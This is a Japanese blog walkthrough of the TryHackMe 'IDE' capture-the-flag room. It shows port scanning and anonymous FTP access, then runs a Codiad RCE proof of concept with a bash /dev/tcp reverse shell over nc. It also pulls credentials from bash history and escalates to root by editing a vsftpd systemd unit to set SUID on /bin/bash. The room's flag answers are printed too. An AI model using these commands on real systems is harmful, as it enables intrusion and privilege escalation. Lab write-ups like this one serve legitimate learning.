0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】IDE:Walkthrough

Posted at

概要

TryHackMe「IDE」のWalkthroughです。

Task1

Q1.user.txt

ポートスキャンを実行します。

$ nmap -Pn -sC -sV -A -T4 -p- 10.10.103.180 -oN nmap_result
PORT      STATE    SERVICE VERSION
21/tcp    open     ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:be:d3:3c:e8:76:81:ef:47:7e:d0:43:d4:28:14:28 (RSA)
|   256 a8:82:e9:61:e4:bb:61:af:9f:3a:19:3b:64:bc:de:87 (ECDSA)
|_  256 24:46:75:a7:63:39:b6:3c:e9:f1:fc:a4:13:51:63:20 (ED25519)
80/tcp    open     http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
62337/tcp open     http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Codiad 2.8.4
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 3.0.3
22 ssh OpenSSH 7.6p1
80 http Apache httpd 2.4.29
62337 http Apache httpd 2.4.29

FTPにanonymousで接続します。

$ ftp 10.10.103.180
Connected to 10.10.103.180.
220 (vsFTPd 3.0.3)
Name (10.10.103.180:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

/.../-ファイルを発見したのでダウンロードします。

ftp> get -
local: - remote: -
229 Entering Extended Passive Mode (|||29383|)
150 Opening BINARY mode data connection for - (151 bytes).
100% |************************************************************************|   151       71.40 KiB/s    00:00 ETA
226 Transfer complete.
151 bytes received in 00:00 (0.61 KiB/s)

中身を確認すると、デフォルトのパスワードでログイン出来るようです。

Hey john,
I have reset the password as you have asked. Please use the default password to login. 
Also, please take care of the image file ;)
- drac.

62337ポートにアクセスするとログインフォームが表示されました。

login form.jpg

Username: john,Password: passwordでログインに成功しました。

login success.jpg

Codiad 2.8.4が使用されています。

脆弱性情報を検索するとRCEの脆弱性が見つかりました。

PoCを実行します。

$ python 49705.py http://10.10.103.180:62337/ john password 10.6.55.144 1234 linux
[+] Please execute the following command on your vps: 
echo 'bash -c "bash -i >/dev/tcp/10.6.55.144/1235 0>&1 2>&1"' | nc -lnvp 1234
nc -lnvp 1235
[+] Please confirm that you have done the two command above [y/n]
[Y/n]

別ターミナルでコマンドを実行します。

$ echo 'bash -c "bash -i >/dev/tcp/10.6.55.144/1235 0>&1 2>&1"' | nc -lnvp 1234

また、別ターミナルでコマンドを実行します。

$ nc -lnvp 1235

Yを入力するとリバースシェルを張れます。

Y/n] Y
[+] Starting...
[+] Login Content : {"status":"success","data":{"username":"john"}}
[+] Login success!
[+] Getting writeable path...
[+] Path Content : {"status":"success","data":{"name":"CloudCall","path":"\/var\/www\/html\/codiad_projects"}}
[+] Writeable Path : /var/www/html/codiad_projects
[+] Sending payload...
$ nc -lnvp 1235
listening on [any] 1235 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.103.180] 59910
bash: cannot set terminal process group (895): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ide:/var/www/html/codiad/components/filemanager$ whoami
whoami
www-data
www-data@ide:/var/www/html/codiad/components/filemanager$

TTYを設定します。

$ python3 -c 'import pty; pty.spawn("/bin/sh")'

/home/drac/.bash_historyを見るとMySQLのユーザー名とパスワードを得られました。

mysql -u drac -p 'Th3dRaCULa1sR3aL'

Username: drac,Password: Th3dRaCULa1sR3aLでSSH接続に成功しました。

$ ssh drac@10.10.103.180
drac@ide:~$

/home/drac/user.txtでフラグを入手できます。

/home/drac/user.txt
02930d21a8eb009f6d26361b2d24a466

A.02930d21a8eb009f6d26361b2d24a466

Q2.root.txt

sudo -lを実行し確認します。

$ sudo -l
[sudo] password for drac: 
Matching Defaults entries for drac on ide:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User drac may run the following commands on ide:
    (ALL : ALL) /usr/sbin/service vsftpd restart

/usr/sbin/service vsftpd restart Privilege Escalationで検索すると下記サイトが見つかりました。
下記サイトを参考に実行します。

vsftpdの設定ファイルを検索すると/etc/systemd/system/multi-user.target.wants/vsftpd.serviceが見つかりました。

$ find / -name "*vsftpd*" 2>/dev/null
/etc/systemd/system/multi-user.target.wants/vsftpd.service

設定ファイルは編集権限がるので、ExecStartPre項目を/bin/bash -c 'chmod u+s /bin/bash'に編集します。

$ ls -l /etc/systemd/system/multi-user.target.wants/vsftpd.service
lrwxrwxrwx 1 root root 34 Jun 18  2021 /etc/systemd/system/multi-user.target.wants/vsftpd.service -> /lib/systemd/system/vsftpd.service
/etc/systemd/system/multi-user.target.wants/vsftpd.service
[Unit]
Description=vsftpd FTP server
After=network.target

[Service]
Type=simple
ExecStart=/usr/sbin/vsftpd /etc/vsftpd.conf
ExecReload=/bin/kill -HUP $MAINPID

# 編集箇所
ExecStartPre=/bin/bash -c 'chmod u+s /bin/bash'

実行すると/bin/bashにSUIDが設定されています。

$ systemctl daemon-reload
$ sudo /usr/sbin/service vsftpd restart
$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash

rootのシェルを取得できました。

$ /bin/bash -p
bash-4.4# whoami
root

/root/root.txtからフラグを入手できます。

/root/root.txt
ce258cb16f47f1c66f0b0b77f4e0fb8d

A.ce258cb16f47f1c66f0b0b77f4e0fb8d

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?